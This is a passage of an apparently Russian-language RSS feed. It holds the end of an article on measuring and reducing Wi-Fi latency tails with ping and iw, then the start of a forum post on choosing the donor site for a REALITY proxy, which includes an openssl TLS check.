&#x41A;&#x43E;&#x433;&#x434;&#x430; tx retries &#x441;&#x43E;&#x441;&#x442;&#x430;&#x432;&#x43B;&#x44F;&#x44E;&#x442; &#x431;&#x43E;&#x43B;&#x44C;&#x448;&#x435; 10 % &#x43E;&#x442; tx packets, &#x43A;&#x430;&#x434;&#x440;&#x44B; &#x441;&#x438;&#x441;&#x442;&#x435;&#x43C;&#x430;&#x442;&#x438;&#x447;&#x435;&#x441;&#x43A;&#x438; &#x443;&#x445;&#x43E;&#x434;&#x44F;&#x442; &#x43F;&#x43E; &#x432;&#x442;&#x43E;&#x440;&#x43E;&#x43C;&#x443; &#x440;&#x430;&#x437;&#x443; &#x2014; &#x432;&#x438;&#x43D;&#x43E;&#x432;&#x430;&#x442; &#x43B;&#x438;&#x431;&#x43E; &#x441;&#x43B;&#x430;&#x431;&#x44B;&#x439; &#x441;&#x438;&#x433;&#x43D;&#x430;&#x43B;, &#x43B;&#x438;&#x431;&#x43E; &#x437;&#x430;&#x43D;&#x44F;&#x442;&#x44B;&#x439; &#x44D;&#x444;&#x438;&#x440;. &#x420;&#x43E;&#x432;&#x43D;&#x43E; &#x441;&#x44E;&#x434;&#x430; &#x431;&#x44C;&#x44E;&#x442; ELR, DRU &#x438; NPCA. 

&#x412;&#x442;&#x43E;&#x440;&#x43E;&#x435; &#x2014; &#x440;&#x430;&#x441;&#x43F;&#x440;&#x435;&#x434;&#x435;&#x43B;&#x435;&#x43D;&#x438;&#x435; &#x437;&#x430;&#x434;&#x435;&#x440;&#x436;&#x43A;&#x438; &#x434;&#x43E; &#x441;&#x430;&#x43C;&#x43E;&#x439; &#x442;&#x43E;&#x447;&#x43A;&#x438; &#x434;&#x43E;&#x441;&#x442;&#x443;&#x43F;&#x430;. &#x41F;&#x438;&#x43D;&#x433;&#x43E;&#x432;&#x430;&#x442;&#x44C; &#x438;&#x43D;&#x442;&#x435;&#x440;&#x43D;&#x435;&#x442;-&#x430;&#x434;&#x440;&#x435;&#x441; &#x437;&#x434;&#x435;&#x441;&#x44C; &#x431;&#x435;&#x441;&#x441;&#x43C;&#x44B;&#x441;&#x43B;&#x435;&#x43D;&#x43D;&#x43E;: &#x438;&#x437;&#x43C;&#x435;&#x440;&#x438;&#x442;&#x435; &#x43A;&#x430;&#x43D;&#x430;&#x43B; &#x43F;&#x440;&#x43E;&#x432;&#x430;&#x439;&#x434;&#x435;&#x440;&#x430;, &#x430; &#x43D;&#x435; &#x44D;&#x444;&#x438;&#x440;. 

ping -i 0.2 -c 600 192.168.1.1 \
 | awk -F'time=' '/time=/{split($2,a," ");print a[1]}' | sort -n \
 | awk '{v[NR]=$1} END{printf "p50=%.1f p95=%.1f p99=%.1f max=%.1f ms\n", \
   v[int(NR*0.50)], v[int(NR*0.95)], v[int(NR*0.99)], v[NR]}'

&#x41A;&#x430;&#x440;&#x442;&#x438;&#x43D;&#x430; &#xAB;p50 &#x43E;&#x43A;&#x43E;&#x43B;&#x43E; 3 &#x43C;&#x441;, &#x430; p95 &#x443;&#x43B;&#x435;&#x442;&#x430;&#x435;&#x442; &#x437;&#x430; 50&#x2013;100 &#x43C;&#x441;&#xBB; &#x2014; &#x44D;&#x442;&#x43E; &#x438; &#x435;&#x441;&#x442;&#x44C; &#x442;&#x430; &#x441;&#x430;&#x43C;&#x430;&#x44F; &#x432;&#x435;&#x43B;&#x438;&#x447;&#x438;&#x43D;&#x430;, &#x43F;&#x43E;&#x434; &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x443;&#x44E; &#x43D;&#x430;&#x43F;&#x438;&#x441;&#x430;&#x43D;&#x430; &#x446;&#x435;&#x43B;&#x44C; &#xAB;&#x2212;25 %&#xBB;, &#x442;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x43D;&#x430; &#x432;&#x430;&#x448;&#x435;&#x43C; &#x43E;&#x431;&#x43E;&#x440;&#x443;&#x434;&#x43E;&#x432;&#x430;&#x43D;&#x438;&#x438;. 

&#x422;&#x440;&#x435;&#x442;&#x44C;&#x435; &#x2014; &#x441;&#x43A;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x447;&#x443;&#x436;&#x438;&#x445; &#x441;&#x435;&#x442;&#x435;&#x439; &#x434;&#x435;&#x43B;&#x438;&#x442; &#x441; &#x432;&#x430;&#x43C;&#x438; &#x447;&#x430;&#x441;&#x442;&#x43E;&#x442;&#x443;: 

sudo iw dev wlan0 scan | awk '/freq:/{print $2}' | sort -n | uniq -c | sort -rn | head

&#x41E;&#x442; &#x432;&#x43E;&#x441;&#x44C;&#x43C;&#x438; &#x447;&#x443;&#x436;&#x438;&#x445; BSS &#x43D;&#x430; &#x43E;&#x434;&#x43D;&#x43E;&#x439; &#x441; &#x432;&#x430;&#x43C;&#x438; &#x447;&#x430;&#x441;&#x442;&#x43E;&#x442;&#x435; &#x43D;&#x430;&#x447;&#x438;&#x43D;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x442;&#x43E;&#x442; &#x441;&#x430;&#x43C;&#x44B;&#x439; &#x432;&#x435;&#x447;&#x43D;&#x43E; &#x437;&#x430;&#x43D;&#x44F;&#x442;&#x44B;&#x439; &#x43F;&#x435;&#x440;&#x432;&#x438;&#x447;&#x43D;&#x44B;&#x439; &#x43A;&#x430;&#x43D;&#x430;&#x43B;, &#x440;&#x430;&#x434;&#x438; &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x43E;&#x433;&#x43E; &#x43F;&#x440;&#x438;&#x434;&#x443;&#x43C;&#x430;&#x43B;&#x438; NPCA. 

&#x2705; &#x41A;&#x430;&#x43A; &#x43F;&#x440;&#x430;&#x432;&#x438;&#x43B;&#x44C;&#x43D;&#x43E; 
&#x427;&#x430;&#x441;&#x442;&#x44C; &#x44D;&#x442;&#x438;&#x445; &#x441;&#x438;&#x43C;&#x43F;&#x442;&#x43E;&#x43C;&#x43E;&#x432; &#x441;&#x43D;&#x438;&#x43C;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x43F;&#x440;&#x44F;&#x43C;&#x43E; &#x441;&#x435;&#x439;&#x447;&#x430;&#x441;, &#x431;&#x435;&#x437;&#x43E; &#x432;&#x441;&#x44F;&#x43A;&#x43E;&#x433;&#x43E; &#x43D;&#x43E;&#x432;&#x43E;&#x433;&#x43E; &#x441;&#x442;&#x430;&#x43D;&#x434;&#x430;&#x440;&#x442;&#x430;: 

&#x41F;&#x43E;&#x432;&#x442;&#x43E;&#x440;&#x44B; &#x43A;&#x430;&#x434;&#x440;&#x43E;&#x432; &#x442;&#x44F;&#x43D;&#x443;&#x442; &#x432;&#x432;&#x435;&#x440;&#x445; &#x445;&#x432;&#x43E;&#x441;&#x442; &#x437;&#x430;&#x434;&#x435;&#x440;&#x436;&#x43A;&#x438; &#x2014; &#x43F;&#x43E;&#x43F;&#x440;&#x43E;&#x431;&#x443;&#x439;&#x442;&#x435; &#x443;&#x43C;&#x435;&#x43D;&#x44C;&#x448;&#x438;&#x442;&#x44C; &#x448;&#x438;&#x440;&#x438;&#x43D;&#x443; &#x43A;&#x430;&#x43D;&#x430;&#x43B;&#x430;. &#x412; &#x43F;&#x43B;&#x43E;&#x442;&#x43D;&#x43E;&#x439; &#x437;&#x430;&#x441;&#x442;&#x440;&#x43E;&#x439;&#x43A;&#x435; 80 &#x41C;&#x413;&#x446; &#x432; &#x434;&#x438;&#x430;&#x43F;&#x430;&#x437;&#x43E;&#x43D;&#x435; 5 &#x413;&#x413;&#x446; &#x434;&#x430;&#x44E;&#x442; p95 &#x43B;&#x443;&#x447;&#x448;&#x435;, &#x447;&#x435;&#x43C; 160 &#x41C;&#x413;&#x446;: &#x43F;&#x435;&#x440;&#x435;&#x441;&#x435;&#x447;&#x435;&#x43D;&#x438;&#x439; &#x441; &#x441;&#x43E;&#x441;&#x435;&#x434;&#x44F;&#x43C;&#x438; &#x43C;&#x435;&#x43D;&#x44C;&#x448;&#x435;, &#x43F;&#x43E;&#x432;&#x43E;&#x434;&#x43E;&#x432; &#x437;&#x430;&#x43C;&#x43E;&#x43B;&#x447;&#x430;&#x442;&#x44C; &#x442;&#x43E;&#x436;&#x435;.
&#x41F;&#x440;&#x43E;&#x432;&#x430;&#x43B;&#x44B; &#x43F;&#x440;&#x438; &#x441;&#x43C;&#x435;&#x43D;&#x435; &#x442;&#x43E;&#x447;&#x43A;&#x438; &#x434;&#x43E;&#x441;&#x442;&#x443;&#x43F;&#x430; &#x2014; 802.11k, v &#x438; r &#x434;&#x43E;&#x43B;&#x436;&#x43D;&#x44B; &#x431;&#x44B;&#x442;&#x44C; &#x432;&#x43A;&#x43B;&#x44E;&#x447;&#x435;&#x43D;&#x44B; &#x441;&#x440;&#x430;&#x437;&#x443; &#x43D;&#x430; &#x432;&#x441;&#x435;&#x445; &#x442;&#x43E;&#x447;&#x43A;&#x430;&#x445;. SMD &#x44D;&#x442;&#x43E; &#x43D;&#x435; &#x437;&#x430;&#x43C;&#x435;&#x43D;&#x44F;&#x435;&#x442;, &#x440;&#x435;&#x430;&#x441;&#x441;&#x43E;&#x446;&#x438;&#x430;&#x446;&#x438;&#x44F; &#x43D;&#x438;&#x43A;&#x443;&#x434;&#x430; &#x43D;&#x435; &#x434;&#x435;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F;, &#x43D;&#x43E; &#x43F;&#x430;&#x443;&#x437;&#x430; &#x43F;&#x430;&#x434;&#x430;&#x435;&#x442; &#x441; &#x441;&#x435;&#x43A;&#x443;&#x43D;&#x434; &#x434;&#x43E; &#x434;&#x435;&#x441;&#x44F;&#x442;&#x43A;&#x43E;&#x432; &#x43C;&#x438;&#x43B;&#x43B;&#x438;&#x441;&#x435;&#x43A;&#x443;&#x43D;&#x434;.
&#x417;&#x430;&#x431;&#x438;&#x442;&#x44B;&#x439; &#x434;&#x438;&#x430;&#x43F;&#x430;&#x437;&#x43E;&#x43D; 2,4 &#x413;&#x413;&#x446; &#x2014; &#x432;&#x441;&#x451;, &#x447;&#x442;&#x43E; &#x442;&#x435;&#x445;&#x43D;&#x438;&#x447;&#x435;&#x441;&#x43A;&#x438; &#x441;&#x43F;&#x43E;&#x441;&#x43E;&#x431;&#x43D;&#x43E;, &#x43F;&#x435;&#x440;&#x435;&#x432;&#x43E;&#x434;&#x438;&#x442;&#x435; &#x43D;&#x430; 5 &#x413;&#x413;&#x446;; &#x448;&#x438;&#x440;&#x438;&#x43D;&#x443; &#x43A;&#x430;&#x43D;&#x430;&#x43B;&#x430; &#x43D;&#x430; 2,4 &#x43D;&#x435; &#x442;&#x440;&#x43E;&#x433;&#x430;&#x439;&#x442;&#x435;, &#x435;&#x434;&#x438;&#x43D;&#x441;&#x442;&#x432;&#x435;&#x43D;&#x43D;&#x44B;&#x439; &#x432;&#x43C;&#x435;&#x43D;&#x44F;&#x435;&#x43C;&#x44B;&#x439; &#x432;&#x430;&#x440;&#x438;&#x430;&#x43D;&#x442; &#x442;&#x430;&#x43C; &#x43F;&#x43E;-&#x43F;&#x440;&#x435;&#x436;&#x43D;&#x435;&#x43C;&#x443; 20 &#x41C;&#x413;&#x446;.


&#x2139;&#xFE0F; &#x421;&#x43F;&#x440;&#x430;&#x432;&#x43A;&#x430; 
&#x41E;&#x442;&#x434;&#x435;&#x43B;&#x44C;&#x43D;&#x43E; &#x43F;&#x440;&#x43E; &#x434;&#x438;&#x430;&#x43F;&#x430;&#x437;&#x43E;&#x43D; 6 &#x413;&#x413;&#x446; &#x432; &#x420;&#x43E;&#x441;&#x441;&#x438;&#x438;. &#x417;&#x430;&#x43F;&#x440;&#x435;&#x442; &#x43D;&#x430; &#x43F;&#x43E;&#x43B;&#x43E;&#x441;&#x443; 5,9&#x2013;6,4 &#x413;&#x413;&#x446; &#x434;&#x43B;&#x44F; Wi-Fi &#x432;&#x43D;&#x443;&#x442;&#x440;&#x438; &#x43F;&#x43E;&#x43C;&#x435;&#x449;&#x435;&#x43D;&#x438;&#x439; &#x413;&#x41A;&#x420;&#x427; &#x441;&#x43D;&#x44F;&#x43B;&#x430; &#x435;&#x449;&#x451; &#x432; &#x434;&#x435;&#x43A;&#x430;&#x431;&#x440;&#x435; 2022 &#x433;&#x43E;&#x434;&#x430;. &#x41F;&#x440;&#x43E;&#x434;&#x43E;&#x43B;&#x436;&#x435;&#x43D;&#x438;&#x44F;, &#x43E;&#x434;&#x43D;&#x430;&#x43A;&#x43E;, &#x43D;&#x435; &#x43F;&#x43E;&#x441;&#x43B;&#x435;&#x434;&#x43E;&#x432;&#x430;&#x43B;&#x43E;: &#xAB;&#x41A;&#x43E;&#x43C;&#x43C;&#x435;&#x440;&#x441;&#x430;&#x43D;&#x442;&#x44A;&#xBB; &#x432; &#x44F;&#x43D;&#x432;&#x430;&#x440;&#x435; 2024-&#x433;&#x43E; &#x43F;&#x438;&#x441;&#x430;&#x43B;, &#x447;&#x442;&#x43E; &#x43F;&#x435;&#x440;&#x435;&#x447;&#x435;&#x43D;&#x44C; &#x43E;&#x431;&#x43E;&#x440;&#x443;&#x434;&#x43E;&#x432;&#x430;&#x43D;&#x438;&#x44F;, &#x442;&#x440;&#x435;&#x431;&#x443;&#x44E;&#x449;&#x435;&#x433;&#x43E; &#x440;&#x435;&#x433;&#x438;&#x441;&#x442;&#x440;&#x430;&#x446;&#x438;&#x438; &#x432; &#x420;&#x43E;&#x441;&#x43A;&#x43E;&#x43C;&#x43D;&#x430;&#x434;&#x437;&#x43E;&#x440;&#x435;, &#x43F;&#x43E;&#x434; &#x44D;&#x442;&#x43E; &#x440;&#x435;&#x448;&#x435;&#x43D;&#x438;&#x435; &#x442;&#x430;&#x43A; &#x438; &#x43D;&#x435; &#x43F;&#x435;&#x440;&#x435;&#x43F;&#x438;&#x441;&#x430;&#x43B;&#x438;, &#x438; &#x43C;&#x430;&#x441;&#x441;&#x43E;&#x432;&#x44B;&#x43C; Wi-Fi 6E &#x432; &#x438;&#x442;&#x43E;&#x433;&#x435; &#x43D;&#x435; &#x441;&#x442;&#x430;&#x43B;. &#x41D;&#x430;&#x439;&#x442;&#x438; &#x431;&#x43E;&#x43B;&#x435;&#x435; &#x43F;&#x43E;&#x437;&#x434;&#x43D;&#x438;&#x435; &#x43E;&#x444;&#x438;&#x446;&#x438;&#x430;&#x43B;&#x44C;&#x43D;&#x44B;&#x435; &#x43F;&#x43E;&#x434;&#x442;&#x432;&#x435;&#x440;&#x436;&#x434;&#x435;&#x43D;&#x438;&#x44F; &#x442;&#x43E;&#x433;&#x43E;, &#x447;&#x442;&#x43E; &#x432;&#x43E;&#x43F;&#x440;&#x43E;&#x441; &#x441;&#x43D;&#x44F;&#x43B;&#x438;, &#x43D;&#x435; &#x443;&#x434;&#x430;&#x43B;&#x43E;&#x441;&#x44C;, &#x43F;&#x43E;&#x44D;&#x442;&#x43E;&#x43C;&#x443; &#x441;&#x442;&#x430;&#x442;&#x443;&#x441; &#x438;&#x43C;&#x435;&#x435;&#x442; &#x441;&#x43C;&#x44B;&#x441;&#x43B; &#x443;&#x442;&#x43E;&#x447;&#x43D;&#x44F;&#x442;&#x44C; &#x437;&#x430;&#x43D;&#x43E;&#x432;&#x43E; &#x43F;&#x435;&#x440;&#x435;&#x434; &#x43F;&#x43E;&#x43A;&#x443;&#x43F;&#x43A;&#x43E;&#x439; &#x442;&#x435;&#x445;&#x43D;&#x438;&#x43A;&#x438; &#x441; &#x43F;&#x43E;&#x434;&#x434;&#x435;&#x440;&#x436;&#x43A;&#x43E;&#x439; 6 &#x413;&#x413;&#x446;. 

&#x26A0;&#xFE0F; &#x41E;&#x441;&#x442;&#x43E;&#x440;&#x43E;&#x436;&#x43D;&#x43E; 
&#x423;&#x441;&#x442;&#x440;&#x43E;&#x439;&#x441;&#x442;&#x432;&#x430; &#x441; &#x43D;&#x430;&#x43A;&#x43B;&#x435;&#x439;&#x43A;&#x43E;&#x439; &#xAB;Wi-Fi 8&#xBB; &#x43E;&#x431;&#x435;&#x449;&#x430;&#x44E;&#x442; &#x443;&#x436;&#x435; &#x43D;&#x430; 2027 &#x433;&#x43E;&#x434;, &#x442;&#x43E; &#x435;&#x441;&#x442;&#x44C; &#x434;&#x43E; &#x442;&#x43E;&#x433;&#x43E;, &#x43A;&#x430;&#x43A; &#x441;&#x442;&#x430;&#x43D;&#x434;&#x430;&#x440;&#x442; &#x443;&#x442;&#x432;&#x435;&#x440;&#x434;&#x44F;&#x442;. &#x421;&#x446;&#x435;&#x43D;&#x430;&#x440;&#x438;&#x439; &#x437;&#x43D;&#x430;&#x43A;&#x43E;&#x43C; &#x43F;&#x43E; Wi-Fi 6 &#x438; Wi-Fi 7: pre-standard &#x436;&#x435;&#x43B;&#x435;&#x437;&#x43E; &#x43F;&#x43E;&#x441;&#x442;&#x443;&#x43F;&#x430;&#x435;&#x442; &#x432; &#x43F;&#x440;&#x43E;&#x434;&#x430;&#x436;&#x443;, &#x430; &#x441;&#x43E;&#x432;&#x43C;&#x435;&#x441;&#x442;&#x438;&#x43C;&#x43E;&#x441;&#x442;&#x44C; &#x438; &#x43F;&#x43E;&#x43B;&#x43D;&#x44B;&#x439; &#x444;&#x443;&#x43D;&#x43A;&#x446;&#x438;&#x43E;&#x43D;&#x430;&#x43B; &#x43F;&#x440;&#x438;&#x435;&#x437;&#x436;&#x430;&#x44E;&#x442; &#x43F;&#x440;&#x43E;&#x448;&#x438;&#x432;&#x43A;&#x430;&#x43C;&#x438; &#x2014; &#x43A;&#x43E;&#x433;&#x434;&#x430; &#x43F;&#x440;&#x438;&#x435;&#x437;&#x436;&#x430;&#x44E;&#x442;. &#x415;&#x441;&#x43B;&#x438; &#x440;&#x43E;&#x443;&#x442;&#x435;&#x440; &#x43F;&#x43E;&#x43D;&#x430;&#x434;&#x43E;&#x431;&#x438;&#x442;&#x441;&#x44F; &#x432; 2027-&#x43C;, &#x43E;&#x446;&#x435;&#x43D;&#x438;&#x432;&#x430;&#x439;&#x442;&#x435; &#x435;&#x433;&#x43E; &#x43F;&#x43E; &#x442;&#x43E;&#x43C;&#x443;, &#x447;&#x442;&#x43E; &#x43E;&#x43D; &#x443;&#x43C;&#x435;&#x435;&#x442; &#x432; &#x43C;&#x43E;&#x43C;&#x435;&#x43D;&#x442; &#x43F;&#x43E;&#x43A;&#x443;&#x43F;&#x43A;&#x438;, &#x430; &#x43D;&#x435; &#x43F;&#x43E; &#x43F;&#x435;&#x440;&#x441;&#x43F;&#x435;&#x43A;&#x442;&#x438;&#x432;&#x435; &#x431;&#x443;&#x434;&#x443;&#x449;&#x435;&#x433;&#x43E; &#x43E;&#x431;&#x43D;&#x43E;&#x432;&#x43B;&#x435;&#x43D;&#x438;&#x44F;. 



&#x420;&#x435;&#x437;&#x44E;&#x43C;&#x435; &#x43F;&#x43E;&#x43B;&#x443;&#x447;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x43D;&#x435;&#x440;&#x43E;&#x43C;&#x430;&#x43D;&#x442;&#x438;&#x447;&#x43D;&#x44B;&#x43C;. &#x412;&#x43E;&#x441;&#x44C;&#x43C;&#x43E;&#x435; &#x43F;&#x43E;&#x43A;&#x43E;&#x43B;&#x435;&#x43D;&#x438;&#x435; &#x2014; &#x43D;&#x435; &#x442;&#x43E;&#x442; &#x430;&#x43F;&#x433;&#x440;&#x435;&#x439;&#x434;, &#x440;&#x430;&#x434;&#x438; &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x43E;&#x433;&#x43E; &#x441;&#x442;&#x43E;&#x438;&#x442; &#x43E;&#x442;&#x43A;&#x43B;&#x430;&#x434;&#x44B;&#x432;&#x430;&#x442;&#x44C; &#x434;&#x435;&#x43D;&#x44C;&#x433;&#x438;, &#x430; &#x43A;&#x43E;&#x43D;&#x441;&#x442;&#x430;&#x442;&#x430;&#x446;&#x438;&#x44F;: &#x433;&#x43E;&#x43D;&#x43A;&#x430; &#x437;&#x430; &#x43F;&#x438;&#x43A;&#x43E;&#x432;&#x43E;&#x439; &#x446;&#x438;&#x444;&#x440;&#x43E;&#x439; &#x443;&#x43F;&#x451;&#x440;&#x43B;&#x430;&#x441;&#x44C; &#x432; &#x444;&#x438;&#x437;&#x438;&#x43A;&#x443;, &#x438; &#x431;&#x43B;&#x438;&#x436;&#x430;&#x439;&#x448;&#x438;&#x435; &#x433;&#x43E;&#x434;&#x44B; &#x443;&#x439;&#x434;&#x443;&#x442; &#x43D;&#x430; &#x43F;&#x43E;&#x440;&#x44F;&#x434;&#x43E;&#x43A; &#x432; &#x44D;&#x444;&#x438;&#x440;&#x435;. &#x423;&#x441;&#x442;&#x440;&#x43E;&#x439;&#x441;&#x442;&#x432;&#x430; &#x43F;&#x43E;&#x44F;&#x432;&#x44F;&#x442;&#x441;&#x44F; &#x433;&#x43E;&#x434;&#x430; &#x447;&#x435;&#x440;&#x435;&#x437; &#x434;&#x432;&#x430;-&#x442;&#x440;&#x438;, &#x437;&#x440;&#x435;&#x43B;&#x44B;&#x435; &#x43F;&#x440;&#x43E;&#x448;&#x438;&#x432;&#x43A;&#x438; &#x2014; &#x43F;&#x43E;&#x437;&#x436;&#x435;. &#x417;&#x430;&#x442;&#x43E; &#x438;&#x437;&#x43C;&#x435;&#x440;&#x438;&#x442;&#x44C; &#x438; &#x43F;&#x43E;&#x434;&#x440;&#x435;&#x437;&#x430;&#x442;&#x44C; &#x445;&#x432;&#x43E;&#x441;&#x442; &#x437;&#x430;&#x434;&#x435;&#x440;&#x436;&#x43A;&#x438; &#x443; &#x441;&#x435;&#x431;&#x44F; &#x434;&#x43E;&#x43C;&#x430; &#x43C;&#x43E;&#x436;&#x43D;&#x43E; &#x44D;&#x442;&#x438;&#x43C; &#x436;&#x435; &#x432;&#x435;&#x447;&#x435;&#x440;&#x43E;&#x43C;. 

&#x418;&#x441;&#x442;&#x43E;&#x447;&#x43D;&#x438;&#x43A;&#x438;


IEEE 802.11 Official Timelines &#x2014; &#x43E;&#x431;&#x43D;&#x43E;&#x432;&#x43B;&#x435;&#x43D;&#x438;&#x435; &#x43E;&#x442; 6 &#x430;&#x432;&#x433;&#x443;&#x441;&#x442;&#x430; 2026 &#x433;&#x43E;&#x434;&#x430;
TGbn Status Update &#x2014; &#x432;&#x435;&#x445;&#x438; &#x43F;&#x440;&#x43E;&#x435;&#x43A;&#x442;&#x430; &#x438; &#x441;&#x434;&#x432;&#x438;&#x433;&#x438; &#x433;&#x440;&#x430;&#x444;&#x438;&#x43A;&#x430;
Samsung Research: IEEE 802.11bn Ultra High Reliability (Wi-Fi 8)
MediaTek, &#xAB;Pioneering the Future with Wi-Fi 8&#xBB;, Part 3 &#x2014; &#x446;&#x438;&#x444;&#x440;&#x44B; &#x43F;&#x43E; ELR, DRU, DSO
Tom's Hardware: Next-gen Wi-Fi 8 focuses on reliability instead of speed (&#x441;&#x43E; &#x441;&#x441;&#x44B;&#x43B;&#x43A;&#x43E;&#x439; &#x43D;&#x430; Qualcomm)
Wi-Fi NOW: &#x441;&#x440;&#x43E;&#x43A;&#x438; &#x437;&#x430;&#x432;&#x435;&#x440;&#x448;&#x435;&#x43D;&#x438;&#x44F; &#x441;&#x442;&#x430;&#x43D;&#x434;&#x430;&#x440;&#x442;&#x430; &#x438; &#x441;&#x435;&#x440;&#x442;&#x438;&#x444;&#x438;&#x43A;&#x430;&#x446;&#x438;&#x438;
&#x425;&#x430;&#x431;&#x440;: &#x421;&#x41C;&#x418; &#x2014; &#x432; &#x420;&#x424; &#x440;&#x430;&#x437;&#x440;&#x435;&#x448;&#x438;&#x43B;&#x438; &#x441;&#x442;&#x430;&#x43D;&#x434;&#x430;&#x440;&#x442; Wi-Fi 6E &#x438; &#xAB;&#x41A;&#x43E;&#x43C;&#x43C;&#x435;&#x440;&#x441;&#x430;&#x43D;&#x442;&#x44A;&#xBB;: &#x43B;&#x435;&#x433;&#x430;&#x43B;&#x438;&#x437;&#x430;&#x446;&#x438;&#x44F; Wi-Fi 6E &#x437;&#x430;&#x442;&#x43E;&#x440;&#x43C;&#x43E;&#x437;&#x438;&#x43B;&#x430;&#x441;&#x44C;


&#x1F4AC; &#x412;&#x43E;&#x43F;&#x440;&#x43E;&#x441; &#x43A; &#x441;&#x43E;&#x43E;&#x431;&#x449;&#x435;&#x441;&#x442;&#x432;&#x443; 
&#x41F;&#x440;&#x43E;&#x433;&#x43E;&#x43D;&#x438;&#x442;&#x435; &#x437;&#x430;&#x43C;&#x435;&#x440; p95 &#x434;&#x43E; &#x441;&#x432;&#x43E;&#x435;&#x439; &#x442;&#x43E;&#x447;&#x43A;&#x438; &#x434;&#x43E;&#x441;&#x442;&#x443;&#x43F;&#x430; &#x438; &#x441;&#x43A;&#x438;&#x43D;&#x44C;&#x442;&#x435; &#x432; &#x442;&#x435;&#x43C;&#x443; &#x442;&#x440;&#x438; &#x43F;&#x430;&#x440;&#x430;&#x43C;&#x435;&#x442;&#x440;&#x430;: &#x434;&#x438;&#x430;&#x43F;&#x430;&#x437;&#x43E;&#x43D;, &#x448;&#x438;&#x440;&#x438;&#x43D;&#x443; &#x43A;&#x430;&#x43D;&#x430;&#x43B;&#x430; &#x438; &#x43F;&#x43E;&#x43B;&#x443;&#x447;&#x438;&#x432;&#x448;&#x435;&#x435;&#x441;&#x44F; &#x437;&#x43D;&#x430;&#x447;&#x435;&#x43D;&#x438;&#x435;. &#x425;&#x43E;&#x447;&#x435;&#x442;&#x441;&#x44F; &#x43F;&#x43E;&#x43D;&#x44F;&#x442;&#x44C;, &#x443; &#x441;&#x43A;&#x43E;&#x43B;&#x44C;&#x43A;&#x438;&#x445; &#x43B;&#x44E;&#x434;&#x435;&#x439; &#x445;&#x432;&#x43E;&#x441;&#x442; &#x437;&#x430;&#x434;&#x435;&#x440;&#x436;&#x43A;&#x438; &#x434;&#x435;&#x439;&#x441;&#x442;&#x432;&#x438;&#x442;&#x435;&#x43B;&#x44C;&#x43D;&#x43E; &#x431;&#x43E;&#x43B;&#x438;&#x442;, &#x430; &#x443; &#x441;&#x43A;&#x43E;&#x43B;&#x44C;&#x43A;&#x438;&#x445; &#x443;&#x437;&#x43A;&#x43E;&#x435; &#x43C;&#x435;&#x441;&#x442;&#x43E; &#x43D;&#x430;&#x445;&#x43E;&#x434;&#x438;&#x442;&#x441;&#x44F; &#x441;&#x43E;&#x432;&#x441;&#x435;&#x43C; &#x43D;&#x435; &#x432; Wi-Fi.</description><pubDate>Mon, 24 Aug 2026 08:18:21 +0000</pubDate></item><item><title>&#x41F;&#x43E;&#x440;&#x442;-&#x444;&#x43E;&#x440;&#x432;&#x430;&#x440;&#x434;&#x435;&#x440; &#x43F;&#x43E;&#x43D;&#x435;&#x432;&#x43E;&#x43B;&#x435;: &#x43F;&#x43E;&#x447;&#x435;&#x43C;&#x443; &#x432;&#x44B;&#x431;&#x43E;&#x440; target &#x432; REALITY &#x432;&#x430;&#x436;&#x43D;&#x435;&#x435;, &#x447;&#x435;&#x43C; &#x43A;&#x430;&#x436;&#x435;&#x442;&#x441;&#x44F;</title><link><![CDATA[https://openode.xyz/topic/2054-%D0%BF%D0%BE%D1%80%D1%82-%D1%84%D0%BE%D1%80%D0%B2%D0%B0%D1%80%D0%B4%D0%B5%D1%80-%D0%BF%D0%BE%D0%BD%D0%B5%D0%B2%D0%BE%D0%BB%D0%B5-%D0%BF%D0%BE%D1%87%D0%B5%D0%BC%D1%83-%D0%B2%D1%8B%D0%B1%D0%BE%D1%80-target-%D0%B2-reality-%D0%B2%D0%B0%D0%B6%D0%BD%D0%B5%D0%B5-%D1%87%D0%B5%D0%BC-%D0%BA%D0%B0%D0%B6%D0%B5%D1%82%D1%81%D1%8F/?do=findComment&comment=9224]]></link><description><![CDATA[Инструкции по REALITY обычно проскакивают выбор сайта-донора одной строчкой: «укажите любой зарубежный домен». Строчка дешёвая, последствия — нет. От неё зависит, что увидит на вашем 443-м порту случайный сканер и какой объём чужого трафика ваш VPS согласится возить бесплатно. 

Разложим это поле по-настоящему: сначала механика фолбэка, потом четыре группы критериев с готовыми командами, затем полная таблица параметров realitySettings и скрипт, который прогоняет весь список за один заход. 

Что проверяется у кандидата в доноры и какими строками вывода это читается

Куда уходит соединение, которое не прошло проверку

Формулировка короткая: если аутентификация REALITY не удалась, сервер отдаёт соединение напрямую на target. Никакой имитации — ClientHello уходит целиком, а клиенту возвращается настоящий ответ настоящего сайта. 

Развилка: аутентификация прошла — временный сертификат; не прошла — прямой форвард на донора

Приятная сторона очевидна: постучавшийся без ключа получит чужой валидный TLS с чужим сертификатом. Неприятная описана в документации Project X буквально — когда у донора «особенный» адрес, скажем он живёт за Cloudflare CDN, ваша машина по факту работает порт-форвардером для Cloudflare. Там же названы и способы это придавить: фильтрация средствами Nginx либо параметры limitFallbackUpload и limitFallbackDownload. 

❗ Главное Донор — это не декорация. Это адрес, куда ваш сервер ходит при каждом неудачном хендшейке, чей сертификат он показывает наблюдателю и чью полосу оплачивает из своего кармана. 

Планка, заданная в README проекта REALITY, выглядит скромно: сайт зарубежный, есть TLSv1.3 и H2, домен не работает перевалочным пунктом для редиректов. Дополнительными плюсами названы близкий по географии адрес, зашифрованные сообщения хендшейка после Server Hello (в качестве образца упомянут dl.google.com) и поддержка OCSP Stapling. Каждый пункт измеряется руками — этим и займёмся. 

Группа 1. То, что отсеивает кандидата сразу

Три быстрых отказа: нет TLSv1.3, нет h2, домен только редиректит. Первые два читаются одной командой: 

openssl s_client -connect www.пример.tld:443 -servername www.пример.tld \
    -alpn h2 -status -tls1_3 &lt;/dev/null 2&gt;/dev/null | grep -E "^New,|ALPN|Server Temp Key|OCSP"

